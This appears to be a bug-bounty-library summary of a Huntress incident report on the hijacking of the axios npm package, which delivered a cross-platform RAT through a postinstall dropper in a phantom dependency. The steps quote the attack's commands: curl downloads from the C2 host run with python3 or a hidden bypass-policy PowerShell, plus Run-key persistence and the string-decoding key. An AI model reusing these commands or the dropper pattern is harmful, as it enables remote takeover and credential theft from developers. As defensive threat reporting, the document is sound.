# Supply Chain Compromise of axios npm Package

Attacker hijacked axios maintainer npm account, publishing backdoored 1.14.1/0.30.4 that pulled plain-crypto-js postinstall dropper delivering a cross-platform RAT.

- Payout: Real-world hack
- Severity: critical
- Program: axios
- Credited: Huntress
- Disclosed: 2026-03-31
- Write-up quality: 8/10
- Original: https://www.huntress.com/blog/supply-chain-compromise-axios-npm-package
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-supply-chain-compromise-axios-npm-package
- Tags: domain:oss impact:data-leak impact:rce kind:incident platform:threat-intel sev:critical tech:nodejs technique:source-review vuln:secrets-leak

**Target:** npm package axios and its phantom dependency plain-crypto-js
**Root cause:** Attacker compromised the lead maintainer's npm account (email swapped to ifstap@proton.me) and published directly via npm CLI using a long-lived NPM_TOKEN that took precedence over configured OIDC Trusted Publishing. Backdoored axios versions added a phantom dependency plain-crypto-js whose postinstall ran an obfuscated setup.js dropper.
**Steps:**
1. Compromise jasonsaayman npm account; change email to `ifstap@proton[.]me`
2. Pre-stage clean `[email protected]` from attacker account `nrwise@proton[.]me` ~18h earlier to build publishing history
3. Publish `[email protected]` with postinstall `node setup.js`; then publish `[email protected]` (latest) and `[email protected]` (legacy) adding dependency `plain-crypto-js@4.2.1`
4. setup.js decodes reversed-base64 + XOR (`OrDeR_7077`) strings from `stq[]` to recover C2 `http://sfrclak[.]com:8000/6202033` and platform commands
5. macOS: write AppleScript → `curl -o /Library/Caches/com.apple.act.mond -d packages.npm.org/product0` → chmod 770 → run in zsh
6. Windows: write `%TEMP%\6202033.vbs` → copy powershell.exe to `%PROGRAMDATA%\wt.exe` → curl POST `packages.npm.org/product1` to `%TEMP%\6202033.ps1` → run `wt.exe -w hidden -ep bypass -file`
7. Linux: `curl` Python RAT to `/tmp/ld.py` and `nohup python3 /tmp/ld.py`
8. Anti-forensics: delete setup.js, delete package.json, rename package.md to package.json (clean v4.2.0 stub)
9. Windows RAT persists via hidden `%PROGRAMDATA%\system.bat` + HKCU Run key `MicrosoftUpdate`; beacons every 60s with IE8/WinXP User-Agent
**How found:** Huntress SOC analyst Jevon Ang spotted `C:\ProgramData\wt.exe` appearing across multiple hosts and organizations — a cross-tenant pattern rather than a single anomaly. Michael Elford traced the chain back through plain-crypto-js/setup.js to sfrclak[.]com; Chad Hudson recognized wt.exe as a renamed powershell.exe masquerading as Windows Terminal; Jordan Sexton captured stage-2 RAT source while C2 was still live.
**Exploitation:** Any `npm install` resolving to axios 1.14.1/0.30.4 (caret ranges, CI/CD, transitive deps like @wordpress/scripts) auto-executed the postinstall with no user interaction. The dropper fetched a platform-specific RAT that fingerprinted the host (user dirs, drives, processes, hostname, OS, CPU) and beaconed to C2 every 60s, accepting kill/peinject/runscript/rundir commands for in-memory code execution and credential theft. 135 Huntress endpoints contacted C2 within a ~3h window.
**Escalation:** RAT supports in-memory .NET assembly injection (peinject) and arbitrary PowerShell/Python execution, enabling credential harvesting from developer workstations and CI/CD runners holding npm tokens, cloud keys, SSH keys and .env secrets; Windows persistence survives reboot.
**Insight:** When auditing a compromised package, the phantom dependency directory itself is the durable IOC — the dropper deletes setup.js and swaps package.json for a clean stub, so `ls node_modules/<dep>` beats reading manifests. Also: a co-existing NPM_TOKEN silently overrides OIDC Trusted Publishing, so OIDC config alone doesn't prevent token-based publishes.
